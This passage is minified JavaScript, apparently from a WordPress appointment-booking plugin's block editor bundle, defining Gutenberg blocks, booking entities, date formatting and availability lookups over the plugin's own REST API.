otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Ri}=wp,{Component:Oi,Fragment:Ni}=wp.element,{Disabled:Hi}=wp.components;const{registerBlockType:Vi}=wp.blocks;Vi(\"motopress-appointment\u002Femployee-social-networks\",{title:s.__(\"Employee Social Networks\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Oi{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ni,null,wp.element.createElement(Fi,this.props),wp.element.createElement(Hi,null,wp.element.createElement(Ri,{block:\"motopress-appointment\u002Femployee-social-networks\",attributes:this.props.attributes})))}},save:()=>null});const{Component:zi,Fragment:qi}=wp.element,{PanelBody:Ui,TextControl:ji}=wp.components,{InspectorControls:Wi}=wp.blockEditor||wp.editor;class Gi extends zi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Wi,{key:\"inspector\"},wp.element.createElement(qi,null,wp.element.createElement(Ui,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(ji,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}}const{serverSideRender:Yi}=wp,{Component:Qi,Fragment:Ki}=wp.element,{Disabled:Zi}=wp.components;const{registerBlockType:Ji}=wp.blocks;Ji(\"motopress-appointment\u002Femployee-additional-info\",{title:s.__(\"Employee Additional Information\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Qi{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ki,null,wp.element.createElement(Gi,this.props),wp.element.createElement(Zi,null,wp.element.createElement(Yi,{block:\"motopress-appointment\u002Femployee-additional-info\",attributes:this.props.attributes})))}},save:()=>null})}(React,wp.date,wp.i18n,mpaData,intlTelInput)}();\n+!function(){\"use strict\";!function(e,t,s,i,n){class a{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class o extends a{setupProperties(){super.setupProperties(),this.name=\"\"}}class r extends a{setupProperties(){super.setupProperties(),this.name=\"\"}}function l(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function p(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function m(e,t){let s=Math.min(e.length,t.length),i={};for(let n=0;n\u003Cs;n++)i[e[n]]=t[n];return i}function c(e,t,s=1){let i=s||1,n=Math.abs(Math.floor((t-e)\u002Fi))+1;return[...Array(n).keys()].map((t=>t*s+e))}const h=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,d=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s=\"\")=>e;\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;class u extends a{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():h(\"Clients\",\"motopress-appointment\")}}class g{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}let y=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function b(e,t={},s=\"GET\"){return new Promise(((i,n)=>{wp.apiRequest({path:y+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s=\"parsererror\";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==s&&(s=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),n(new Error(s))}))}))}function _(e,t={}){return b(e,t,\"GET\")}function v(e,t){return b(e,t,\"POST\")}class f{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{_(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class w{constructor(){this.settingsCtrl=new f,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==w.instance&&(w.instance=new w),w.instance}}function C(){return w.getInstance()}const S={weekdays:{shorthand:[h(\"Sun\",\"motopress-appointment\"),h(\"Mon\",\"motopress-appointment\"),h(\"Tue\",\"motopress-appointment\"),h(\"Wed\",\"motopress-appointment\"),h(\"Thu\",\"motopress-appointment\"),h(\"Fri\",\"motopress-appointment\"),h(\"Sat\",\"motopress-appointment\")],longhand:[h(\"Sunday\",\"motopress-appointment\"),h(\"Monday\",\"motopress-appointment\"),h(\"Tuesday\",\"motopress-appointment\"),h(\"Wednesday\",\"motopress-appointment\"),h(\"Thursday\",\"motopress-appointment\"),h(\"Friday\",\"motopress-appointment\"),h(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[h(\"Jan\",\"motopress-appointment\"),h(\"Feb\",\"motopress-appointment\"),h(\"Mar\",\"motopress-appointment\"),h(\"Apr\",\"motopress-appointment\"),d(\"May\",\"Month (short)\",\"motopress-appointment\"),h(\"Jun\",\"motopress-appointment\"),h(\"Jul\",\"motopress-appointment\"),h(\"Aug\",\"motopress-appointment\"),h(\"Sep\",\"motopress-appointment\"),h(\"Oct\",\"motopress-appointment\"),h(\"Nov\",\"motopress-appointment\"),h(\"Dec\",\"motopress-appointment\")],longhand:[h(\"January\",\"motopress-appointment\"),h(\"February\",\"motopress-appointment\"),h(\"March\",\"motopress-appointment\"),h(\"April\",\"motopress-appointment\"),d(\"May\",\"Month\",\"motopress-appointment\"),h(\"June\",\"motopress-appointment\"),h(\"July\",\"motopress-appointment\"),h(\"August\",\"motopress-appointment\"),h(\"September\",\"motopress-appointment\"),h(\"October\",\"motopress-appointment\"),h(\"November\",\"motopress-appointment\"),h(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:C().settings().getFirstDayOfWeek()};function E(e,s=\"public\"){if(\"string\"==typeof e)return e;if(\"internal\"==s)return E(e,\"Y-m-d\");if(\"public\"==s)return t.format(C().settings().getDateFormat(),e);let i=(e,t=2)=>(\"00\"+e).slice(-t),n=!1;return s.split(\"\").map((t=>{if(n)return n=!1,t;switch(t){case\"\\\\\":return n=!0,\"\";case\"j\":return e.getDate();case\"d\":return i(e.getDate());case\"D\":return S.weekdays.shorthand[e.getDay()];case\"l\":return S.weekdays.longhand[e.getDay()];case\"N\":return e.getDay()||7;case\"w\":return e.getDay();case\"z\":let s=new Date(e.getFullYear(),0,1),a=s.getTimezoneOffset()-e.getTimezoneOffset(),o=e-s+60*a*1e3,r=864e5;return Math.floor(o\u002Fr);case\"W\":let l=new Date(Date.UTC(e.getFullYear(),e.getMonth(),e.getDate())),p=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-p);let m=new Date(Date.UTC(l.getUTCFullYear(),0,1)),c=864e5;return Math.ceil(((l-m)\u002Fc+1)\u002F7);case\"F\":return S.months.longhand[e.getMonth()];case\"M\":return S.months.shorthand[e.getMonth()];case\"m\":return i(e.getMonth()+1);case\"n\":return e.getMonth()+1;case\"t\":return new Date(e.getFullYear(),e.getMonth()+1,0).getDate();case\"Y\":return e.getFullYear();case\"y\":return String(e.getFullYear()).substring(2);case\"L\":return e.getFullYear()%4==0?1:0;case\"A\":return S.amPM[e.getHours()>11?1:0];case\"a\":return S.amPM[e.getHours()>11?1:0].toLowerCase();case\"H\":return i(e.getHours());case\"h\":return i(e.getHours()%12||12);case\"G\":return e.getHours();case\"g\":return e.getHours()%12||12;case\"i\":return i(e.getMinutes());case\"s\":return i(e.getSeconds());case\"v\":return i(e.getMilliseconds(),3);case\"u\":return i(e.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let h=-e.getTimezoneOffset(),d=h>=0?\"+\":\"-\",u=Math.floor(Math.abs(h)\u002F60),g=Math.abs(h)%60,y=\"O\"==t?\"\":\":\";return d+i(u)+y+i(g);case\"Z\":return 60*e.getTimezoneOffset();case\"U\":return Math.floor(e.getTime()\u002F1e3);case\"c\":return E(e,\"Y-m-d\\\\TH:i:sP\");case\"r\":return E(e,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return t}})).join(\"\")}function k(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function P(){let e=new Date;return e.setHours(0,0,0,0),e}class I extends a{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let s=e[t];null!=s&&\"\"!==s&&(this[t]=k(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=s*this.amount\u002F100}t=Math.min(t,s)}return t}}function T(e){return!!e}function $(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class D{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let n of e)this.haveEntity(n)&&!t?i.push(this.getEntity(n)):s.push(n);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return _(this.getRoute(),{id:e})}requestEntities(e){return _(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class x extends D{findByCode(e,t=!1){return _(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new I(e.id,e)}}function M(e,t=\"public\"){return E(e,\"internal\"==t?\"H:i\":\"public\"==t?C().settings().getTimeFormat():t)}function A(e){let t=e.split(\":\"),s=parseInt(t[0]),i=parseInt(t[1]),n=P();return n.setHours(s,i),n}class B{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?A(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?A(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new B(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new B(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let s=\"short\"==e?\"public\":e,i=M(this.startTime,s),n=M(this.endTime,s);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===n?h(\"All day\",\"motopress-appointment\"):\"short\"==e&&i==n?i:i+t+n}}class L extends a{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?k(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new B(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new B(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class F extends D{mapRestDataToEntity(e){return new L(e.id,e)}}class R{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?k(e)||P():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=k(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let s=E(t,\"internal\"),i=new Date(t);e[s]=i}return e}toString(){return E(this.startDate,\"internal\")+\" - \"+E(this.endDate,\"internal\")}}class O extends a{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new B(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),\"work\"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new R(t.date_period),time_period:new B(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new R(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=E(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=k(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class N extends D{mapRestDataToEntity(e){return new O(e.id,e)}}class H extends D{mapRestDataToEntity(e){return new u(e.id,e)}}class V{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new N(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new H(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new F(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new x(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==V.instance&&(V.instance=new V),V.instance}}function z(){return V.getInstance()}let q=null;function U(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),n=Array.isArray(i.children)?i.children:[],a=n.length?U(n,t):[];(e||a.length>0)&&s.push({...i,children:a})}return s}function j(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(j(s.children)));return t}function W(e,t=[],s=null,i=0){const n=[],a=new Map(t.map(((e,t)=>[e,t]))),o=[...e].sort(((e,t)=>{var s,i;return(null!==(s=a.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=a.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of o)Array.isArray(s)&&!s.includes(e.slug)||(n.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(i)+e.name}),Array.isArray(e.children)&&n.push(...W(e.children,t,s,i+1)));return n}function G(e){return T(e)}let Y={};function Q(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function K(e=\"\",t=!1){let s=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};Y.uniqid_seed||(Y.uniqid_seed=Math.floor(123456789*Math.random())),Y.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()\u002F1e3,10),8),i+=s(Y.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class Z{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==q)&&(q=_(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),q}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:n,locations_order:a,categories_tree:o}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(n||[]),this.setLocationIndexes(a||[]),this.setServiceCategoriesTree(o||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return Q(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new u(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=g.loadInBackground(i,z().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new o(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new r(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,s=0){let i={};for(let n in this.availability){let a=this.availability[n];if(\"\"===e||e in a.categories){if(0!==t){let e=!1;if(Object.keys(a.employees).forEach((s=>{a.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in a.employees)&&(i[n]=a.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let n=this.availability[i];for(let e in n.employees){let i=n.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let n=this.availability[i];for(let e in n.employees){if(0!=t&&e!=t)continue;let i=n.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(G):0!==t&&i.push(t);let n=[];for(let t in this.availability[e].employees){t=$(t);let s=this.availability[e].employees[t];if(0===i.length)n.push(t);else{p(i,Object.keys(s.locations).map($)).length>0&&n.push(t)}}return 0===n.length?[]:\"entities\"===s?n.map((e=>this.getEmployee(e))):n}filterAvailableLocations(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(G):0!==t&&i.push(t);let n=[];for(t in this.availability[e].employees){if(t=$(t),i.length>0&&-1===i.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)n.push($(e))}return n=l(n),0===n.length?[]:\"entities\"===s?n.map((e=>this.getLocation(e))):n}}const{Component:J,Fragment:X}=wp.element,{SelectControl:ee,PanelBody:te,TextControl:se,Tooltip:ie,ToggleControl:ne,RangeControl:ae}=wp.components,{InspectorControls:oe,PanelColorSettings:re}=wp.blockEditor||wp.editor;let le=class extends J{constructor(){super(),this.availability=new Z,this.availability.ready().finally((()=>{this.availability.getAvailableServiceCategories(),this.availability.getAvailableServices(),this.availability.getAvailableEmployees(),this.availability.getAvailableLocations()}))}getSelectOptions(e,t,s){let i=[{value:t,label:s}];for(const t in e){let s={};s.value=t,s.label=e[t],i.push(s)}return 